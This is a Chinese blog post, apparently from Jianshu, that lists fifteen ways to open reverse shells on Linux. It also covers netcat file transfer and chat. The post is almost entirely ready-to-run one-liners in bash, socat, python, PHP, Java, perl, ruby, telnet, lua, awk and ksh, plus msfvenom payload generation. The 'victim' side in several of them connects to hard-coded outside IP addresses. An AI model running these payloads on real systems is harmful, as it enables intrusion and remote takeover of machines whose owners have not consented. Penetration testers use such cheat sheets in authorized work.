反弹shell的N种方式

linux反弹shell总结(15种方法)

1.1发送文件(公网发内网)

文件发送端:nc -lp 6666 < 文件

文件接收端:nc 发送端ip 发送端端口 > 新文件

1.2发送文件(内网发公网)

文件发送端:nc -lp 6666 > 文件

文件接收端:nc 发送端ip 发送端端口 < 新文件

2.聊天

发送端:nc -lp 6666

接收端:nc 发送端ip 发送端端口

3.1发送shell

发送端(公网服务器):nc -lvvp 6666 -e /bin/bash

接收端:nc 发送端ip 发送端端口

3.2反弹shell

接收端:nc -lvvp 6666

发送端(内网网服务器):nc 接收端ip 接收端端口 -e /bin/bash

4.bash反弹

接收端(hackip,公网):nc -lvvp 端口

发送端(受害者):bash -i >& /dev/tcp/hackip/hack端口 0>&1

发送端(受害者):0<&31-;exec 31<>/dev/tcp/hackip/hack端口;sh <&31 >&31 2>&31

5.1socat反弹(tcp)

接收端(攻击机):./socat TCP-LISTEN:端口 –

发送端(靶机):./socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口

5.2socat反弹(udp)

接收端:nc -lvvp 8080

发送端:socat udp-connect:111.230.170.95:8080 exec:’bash -li’,pty,stderr,sane 2>&1>/dev/null &

6.python反弹

接收端(攻击机,外网):nc -lvvp 端口

发送端(靶机):python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“接收端ip”,接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

7.PHP反弹

接收端:nc -lvvp 端口

发送端:php -r ‘$sock=fsockopen(“接收端ip”,接收端端口);exec(“/bin/sh -i <&3 >&3 2>&3”);’

8.JAVA反弹

接收端:nc -lvvp 端口

发送端:

r = Runtime.getRuntime()

p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])

p.waitFor()

9.perl反弹

接收端:nc -lvvp 端口

发送端:

perl -e ‘use Socket;$i=”111.230.170.95″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

10.ruby反弹

接收端:nc -lvvp 端口

发送端:

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“111.230.170.95″,”8888″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

11.telnet反弹

接收端:nc -lvvp 端口

发送端:

mknod backpipe p && telnet 111.230.170.95 8080 0backpipe

12.lua反弹(安装lua环境:apt-get install lua*)

接收端:nc -lvvp 端口

发送端:lua -e “local s=require(‘socket’);local t=assert(s.tcp());t:connect(‘111.230.170.95′,8080);while true do local r,x=t:receive();local f=assert(io.popen(r,’r’));local b=assert(f:read(‘*a’));t:send(b);end;f:close();t:close();”

13.awk反弹

接收端:nc -lvvp 端口

发送端:awk ‘BEGIN{s=”/inet/tcp/0/111.230.170.95/8080″;while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=”exit”);close(s)}}’

14.ksh反弹

接收端:nc -lvvp 端口

发送端:ksh -c ‘ksh >/dev/tcp/111.230.170.95/8080 2>&1 <&1’

15.msfvenom生成各种payload

接收端:nc -lvvp 端口

查找payload:msfvenom -l payload |grep ‘cmd/unix/reverse’

生成payload:msfvenom -p cmd/unix/reverse_模块 lhost=接收端ip lport=接收端端口 R

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 网络编程 一.楔子 你现在已经学会了写python代码,假如你写了两个python文件a.py和b.py,分别去运...
    go以恒阅读 2,137评论 0 6
  • 背景 前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也...
    AI猫头鹰阅读 1,377评论 0 0
  • 1、TCP状态linux查看tcp的状态命令:1)、netstat -nat 查看TCP各个状态的数量2)、lso...
    北辰青阅读 9,551评论 0 11
  • 计算机网络概述 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输。 按照计算机网络的定义,通过一定...
    蛋炒饭_By阅读 1,259评论 0 10
  • 原创:木华籽,用心聆听生活。请加关注。 近来看了娱乐圈一对对的分分合合,恩恩怨怨,各种精彩纷呈的戏码不断上演,有的...
    木华籽阅读 424评论 0 6